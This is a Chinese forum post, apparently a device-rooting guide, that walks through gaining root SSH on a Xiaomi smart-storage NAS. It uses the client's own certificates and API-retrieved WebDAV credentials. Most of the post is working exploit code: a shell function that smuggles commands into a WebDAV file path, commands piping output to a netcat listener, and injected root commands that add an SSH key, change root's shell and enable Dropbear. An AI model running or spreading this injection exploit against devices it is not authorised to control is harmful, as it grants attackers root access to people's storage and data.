紫夜社区更新1.4.8记录-紫夜小小社
论坛首页-紫夜小小社

小米智能存储 NAS 开启 root SSH

# 小米智能存储 NAS 开启 root SSH

## 1. 获取证书文件

先登录一次“小米智能存储”客户端,让客户端生成证书。

### macOS

证书通常位于:

小米智能存储.app/Contents/Resources/extraResources/cert/

### Windows

证书通常位于:

%LOCALAPPDATA%\minasCert\

将下面三个文件复制到一个单独目录:
```
<UID>_<SERIAL>_cert.pem
<UID>_<SERIAL>_private_key.pem
ca_chain.pem
```
## 2. 进入证书目录并初始化变量

进入刚才复制证书的目录:
```
cd '<证书目录>'
```

然后:
```
CERT=$(find . -maxdepth 1 -type f -name '*_cert.pem' -print -quit)
KEY=$(find . -maxdepth 1 -type f -name '*_private_key.pem' -print -quit)
CA=$(find . -maxdepth 1 -type f -name 'ca_chain.pem' -print -quit)

chmod 600 "$KEY"
```

定义
```
NAS_IP='<NAS局域网IP>'
WORKSTATION_IP='<工作机局域网IP>'
```
## 3. 获取 NAS 证书域名

客户端证书的 CN 与 NAS 域名结构相近,但最后一段可能不同。下面先生成候选域名,再从 NAS 实际返回的服务器证书中读取 CN:
```
CLIENT_CN=$(
  openssl x509 \
    -in "$CERT" \
    -noout \
    -subject \
    -nameopt RFC2253 |
  sed -n 's/^subject=.*CN=\([^,]*\).*$/\1/p'
)

CN_CANDIDATE="${CLIENT_CN%.*}.0"

CN=$(
  openssl s_client \
    -connect "$NAS_IP:443" \
    -servername "$CN_CANDIDATE" \
    -cert "$CERT" \
    -key "$KEY" \
    -CAfile "$CA" \
    </dev/null 2>/dev/null |
  openssl x509 \
    -noout \
    -subject \
    -nameopt RFC2253 |
  sed -n 's/^subject=.*CN=\([^,]*\).*$/\1/p'
)

if [ -z "$CN" ]; then
  echo '无法从 NAS 获取服务器证书 CN'
  exit 1
fi

printf 'CLIENT_CN=%s\nNAS_CN=%s\n' "$CLIENT_CN" "$CN"
```

## 4. 获取 WebDAV 凭据

执行:
```
API_JSON=$(
  curl --silent --show-error \
    --cacert "$CA" \
    --cert "$CERT" \
    --key "$KEY" \
    --resolve "$CN:443:$NAS_IP" \
    -H 'Content-Type: application/json' \
    -X POST \
    -d '{}' \
    "https://$CN/cgi-bin/luci/filemgr/get_pool_info"
)

WEBDAV_USER=$(
  printf '%s' "$API_JSON" |
  jq -r '[.. | objects | .username? // empty][0] // empty'
)

WEBDAV_PASSWORD=$(
  printf '%s' "$API_JSON" |
  jq -r '[.. | objects | .password? // empty][0] // empty'
)

WEBDAV_PORT=$(
  printf '%s' "$API_JSON" |
  jq -r '[.. | objects | .port? // empty][0] // empty'
)

WEBDAV_PORT=${WEBDAV_PORT:-5000}


CREDS="${WEBDAV_USER}:${WEBDAV_PASSWORD}"
NAS_USER="$WEBDAV_USER"
```

## 5. 开启结果监听器

另开一个终端,执行:
```
nc -lk 8124
```
后面的 NAS 命令执行结果会显示在这个终端中。

## 6. 定义注入函数

回到保存变量的原终端,执行:
```
inject() {
  local remote_cmd="$1"
  local payload

  payload=$(
    jq -nr \
      --arg v "__inject\";${remote_cmd};\"__.ts" \
      '$v|@uri'
  )

  curl --silent --show-error \
    --globoff \
    --path-as-is \
    --cacert "$CA" \
    --cert "$CERT" \
    --key "$KEY" \
    --resolve "$CN:$WEBDAV_PORT:$NAS_IP" \
    --user "$CREDS" \
    -o /dev/null \
    -w 'HTTP=%{http_code} time=%{time_total}s\n' \
    "https://$CN:$WEBDAV_PORT/pool0/video/$payload"
}
```
注入命令中不能直接出现 /,因此远端路径使用 printf '\57...' 构造。

## 7. 回显测试

原始 NAS 命令:
```
echo INJECTION_OK | nc <工作机IP> 8124
```
实际执行:
```
inject "echo INJECTION_OK | nc $WORKSTATION_IP 8124"
```
监听器应看到:

INJECTION_OK

## 8. 生成并上传 SSH 公钥

上传公钥(替换 <公钥文件> 为实际文件名):
```
curl --silent --show-error \
  --cacert "$CA" \
  --cert "$CERT" \
  --key "$KEY" \
  --resolve "$CN:$WEBDAV_PORT:$NAS_IP" \
  --user "$CREDS" \
  -T '<公钥文件>.pub' \
  -w 'PUT: %{http_code}\n' \
  -o /dev/null \
  "https://$CN:$WEBDAV_PORT/pool0/data/authorized_keys"
```
预期:

PUT: 204

## 9. 写入 Dropbear authorized_keys

对应的原始 NAS 命令大致是:
```
cat /home/<NAS_USER>/pool0/data/authorized_keys \
  >> /etc/dropbear/authorized_keys

chown root:root /etc/dropbear/authorized_keys
chmod 600 /etc/dropbear/authorized_keys
```
实际执行:
```
REMOTE_CMD="DIR=\$(printf '\\57etc\\57dropbear');\
S=\$(printf '\\57home\\57${NAS_USER}\\57pool0\\57data\\57authorized_keys');\
D=\$(printf '\\57etc\\57dropbear\\57authorized_keys');\
{ \
if [ ! -f \"\$S\" ];then \
  echo SOURCE_MISSING; \
else \
  mkdir -p \"\$DIR\"; \
  touch \"\$D\"; \
  chown root:root \"\$D\"; \
  chmod 600 \"\$D\"; \
  if grep -qxF -f \"\$S\" \"\$D\";then \
    echo KEY_ALREADY_PRESENT; \
  elif cat \"\$S\" >> \"\$D\";then \
    echo KEY_APPENDED; \
  else \
    echo KEY_APPEND_FAILED; \
  fi; \
fi; \
} 2>&1 | nc $WORKSTATION_IP 8124"

inject "$REMOTE_CMD"
```
监听器预期看到:

KEY_APPENDED

或:

KEY_ALREADY_PRESENT

如果看到 SOURCE_MISSING,说明 API 返回的用户名与 /home 下的系统目录名不一致,需要先确认实际目录名。

## 10. 备份配置并修改 root shell

对应的原始 NAS 命令大致是:
```
cp -p /etc/passwd /home/<NAS_USER>/pool0/data/passwd.bak-pre-ssh
cp -p /etc/shells /home/<NAS_USER>/pool0/data/shells.bak-pre-ssh
grep -qxF /bin/ash /etc/shells || echo /bin/ash >> /etc/shells
usermod -s /bin/ash root

```
实际执行:
```
REMOTE_CMD="P=\$(printf '\\57etc\\57passwd');\
PB=\$(printf '\\57home\\57${NAS_USER}\\57pool0\\57data\\57passwd.bak-pre-ssh');\
E=\$(printf '\\57etc\\57shells');\
EB=\$(printf '\\57home\\57${NAS_USER}\\57pool0\\57data\\57shells.bak-pre-ssh');\
SH=\$(printf '\\57bin\\57ash');\
{ \
OK=1; \
[ -e \"\$PB\" ] || cp -p \"\$P\" \"\$PB\" || OK=0; \
[ -e \"\$EB\" ] || cp -p \"\$E\" \"\$EB\" || OK=0; \
if [ \"\$OK\" -ne 1 ];then \
  echo BACKUP_FAILED; \
elif [ ! -x \"\$SH\" ];then \
  echo ASH_NOT_FOUND; \
else \
  grep -qxF \"\$SH\" \"\$E\" || echo \"\$SH\" >> \"\$E\"; \
  if usermod -s \"\$SH\" root;then \
    getent passwd root; \
    echo SHELL_OK; \
  else \
    echo SHELL_CHANGE_FAILED; \
  fi; \
fi; \
} 2>&1 | nc $WORKSTATION_IP 8124"

inject "$REMOTE_CMD"
```
监听器预期看到:

root:x:0:0:root:/root:/bin/ash
SHELL_OK

## 11. 启用 SSH 服务

对应的原始 NAS 命令:
```
systemctl enable dropbear.socket
systemctl restart dropbear.socket
systemctl is-enabled dropbear.socket
systemctl is-active dropbear.socket
```
实际执行:
```
REMOTE_CMD="{ \
systemctl enable dropbear.socket; \
systemctl restart dropbear.socket; \
echo ===STATUS===; \
systemctl is-enabled dropbear.socket; \
systemctl is-active dropbear.socket; \
} 2>&1 | nc $WORKSTATION_IP 8124"

inject "$REMOTE_CMD"
```
监听器预期看到:

===STATUS===
enabled
active

## 12. SSH 登录验证

```
ssh \
  -o StrictHostKeyChecking=accept-new \
  -i '<私钥路径>' \
  "root@$NAS_IP"
```
登录后执行:
```
id
```

预期类似:
```
uid=0(root) gid=0(root)
```

 

请登录后发表评论

    没有回复内容